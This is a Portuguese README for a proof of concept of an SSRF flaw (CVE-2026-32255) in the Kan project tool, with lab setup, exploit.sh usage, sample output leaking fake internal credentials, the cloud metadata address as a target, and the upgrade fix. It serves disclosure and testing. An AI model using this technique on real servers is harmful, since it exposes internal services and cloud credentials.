
Este repositório contém uma prova de conceito (POC) para CVE-2026-32255, uma vulnerabilidade de alta gravidade de Server-Side Request Forgery (SSRF) no Kan, uma ferramenta de gerenciamento de projetos de código aberto.
Este repositório contém uma prova de conceito (POC) para a CVE-2026-32255, uma vulnerabilidade de Server-Side Request Forgery (SSRF) de alta gravidade no Kan, uma ferramenta de gerenciamento de projetos de código aberto.
O endpoint vulnerável permite que atacantes não autenticados façam requisições HTTP arbitrárias a partir do servidor e leiam a resposta completa, possibilitando acesso a serviços internos e endpoints de metadados de nuvem.
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:NO arquivo apps/web/src/pages/api/download/attatchment.ts expõe um endpoint GET /api/download/attatchment destinado a fazer proxy de downloads de anexos do armazenamento S3. O endpoint aceita um parâmetro de consulta url controlado pelo usuário e o passa diretamente para fetch() no lado do servidor, sem qualquer validação ou autenticação:
const upstream = await fetch(url); // sem validação em `url`
Um atacante pode fornecer qualquer URL, fazendo com que o servidor faça uma requisição HTTP para esse destino e retorne o corpo completo da resposta ao cliente. Isso é um SSRF de leitura completa (não cego), o que significa que o atacante pode ler todo o conteúdo da resposta.
http://169.254.169.254/ na AWS/GCP)Clone e execute o Kan v0.5.4 (a última versão vulnerável):
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan
Configure as variáveis de ambiente necessárias:
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF
Nota: Se você receber um erro sobre
dokploy-network, remova as referências adokploy-networkdodocker-compose.yml(linhas 9, 130-131) e executedocker compose up -dnovamente. Essa rede não é necessária localmente.
Inicie os contêineres:
docker compose up -d
A aplicação deve estar disponível em http://localhost:3000.
Em um terminal separado, inicie o serviço interno simulado incluído, que simula uma API interna sensível:
python3 internal-service.py
Isso inicia um servidor na porta 8888 que retorna credenciais falsas, simulando um serviço que deveria ser acessível apenas pela rede interna. Em um cenário do mundo real, esse serviço estaria isolado atrás de um firewall e inacessível externamente. O SSRF permite que o atacante o alcance através do servidor.
chmod +x exploit.sh
./exploit.sh http://localhost:3000
./exploit.sh <url-alvo> [url-interna]
<url-alvo>: URL base da instância do Kan (por exemplo, http://localhost:3000)[url-interna]: URL interna para buscar via SSRF (opcional, detectada automaticamente a partir do gateway da ponte Docker)./exploit.sh http://localhost:3000
=== CVE-2026-32255 - SSRF no Kan via Download de Anexo ===
Alvo: http://localhost:3000
URL Interna: http://172.17.0.1:8888
[*] Verificando se o endpoint está acessível...
[+] Endpoint acessível (HTTP 400)
[*] Tentando SSRF para http://172.17.0.1:8888 ...
[+] VULNERÁVEL - O servidor buscou o recurso interno
Conteúdo vazado:
------------------------------------------------------------
{
"service": "internal-config-api",
"credentials": {
"db_host": "10.0.0.5",
"db_user": "admin",
"db_password": "s3cret_passw0rd!",
"api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
}
}
------------------------------------------------------------
Atualize para o Kan v0.5.5 ou posterior, que valida o parâmetro url em relação ao nome do host do endpoint S3 configurado antes de fazer o proxy da requisição.
Se você não puder atualizar imediatamente, bloqueie o acesso externo ao endpoint vulnerável no nível do seu proxy reverso.
Esta prova de conceito é fornecida apenas para fins educacionais e testes de segurança autorizados. Use esta ferramenta somente em sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.
O autor não é responsável por qualquer uso indevido das informações ou ferramentas fornecidas neste repositório. O acesso não autorizado a sistemas de computador é ilegal.
Descoberto por: kOaDT ([email protected])